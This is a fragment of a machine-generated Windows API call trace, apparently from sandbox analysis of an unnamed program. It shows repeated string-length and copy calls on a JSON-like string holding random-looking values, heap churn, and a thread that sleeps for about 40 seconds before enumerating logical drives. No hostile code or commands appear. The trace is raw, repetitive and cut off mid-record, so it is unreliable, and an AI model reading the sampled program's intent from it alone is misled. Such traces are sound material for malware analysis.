returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.965] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6f68 [0051.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8ba) returned 0x31f2f30 [0051.966] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30f6f68, cbMultiByte=-1, lpWideCharStr=0x31f2f30, cchWideChar=1117 | out: lpWideCharStr="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 94 [0051.966] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x31f00a0 [0051.966] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0051.966] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6f68 | out: hHeap=0x5d0000) returned 1 [0051.966] lstrcpyW (in: lpString1=0x464f20, lpString2="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.977] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f00a0 | out: hHeap=0x5d0000) returned 1 [0051.977] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 93 [0051.978] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbc) returned 0x31851b0 [0051.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfd5a778, cbMultiByte=-1, lpWideCharStr=0x31851b0, cchWideChar=94 | out: lpWideCharStr="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 94 [0051.978] lstrcpyW (in: lpString1=0x464f20, lpString2="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW\",\"line2\":\"81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.978] lstrlenW (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW") returned 40 [0051.978] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0051.979] lstrcpyA (in: lpString1=0xfd5ab78, lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.979] lstrcpyA (in: lpString1=0xfd5a778, lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.979] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b230 [0051.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x854) returned 0x31f2f30 [0051.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x316b230, cbMultiByte=-1, lpWideCharStr=0x31f2f30, cchWideChar=1066 | out: lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 43 [0051.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x31f00a0 [0051.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0051.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b230 | out: hHeap=0x5d0000) returned 1 [0051.980] lstrcpyW (in: lpString1=0x46c450, lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f00a0 | out: hHeap=0x5d0000) returned 1 [0051.981] lstrlenA (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 42 [0051.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x56) returned 0x31913c0 [0051.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfd5a778, cbMultiByte=-1, lpWideCharStr=0x31913c0, cchWideChar=43 | out: lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned 43 [0051.981] lstrcpyW (in: lpString1=0x46c450, lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" | out: lpString1="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}") returned="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb\"}" [0051.981] lstrlenW (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW") returned 40 [0051.981] lstrlenW (lpString="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 40 [0051.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ef7c8 | out: hHeap=0x5d0000) returned 1 [0051.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176c48 | out: hHeap=0x5d0000) returned 1 Thread: id = 47 os_tid = 0xb0c [0052.327] timeGetTime () returned 0x1c1c7 [0052.327] GetLastError () returned 0x54f [0052.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3bc) returned 0x3176c48 [0052.328] GetCurrentThreadId () returned 0xb0c [0052.328] SetLastError (dwErrCode=0x54f) [0052.328] Sleep (dwMilliseconds=0x9c40) [0065.028] Sleep (dwMilliseconds=0x3e8) [0066.307] GetLogicalDrives () returned 0x4 [0066.307] SetErrorMode (uMode=0x1) returned 0x0 [0066.308] PathFileExistsA (pszPath="C:\\") returned 1 [0066.308] SetErrorMode (uMode=0x0) returned 0x1 [0066.308] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0066.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x806) returned 0x3178dd8 [0066.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38cfe60, cbMultiByte=-1, lpWideCharStr=0x3178dd8, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0066.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.308] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x6798a8 [0066.308] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.308] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.309] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.309] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.310] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.311] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.311] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.311] HeapFree (in: 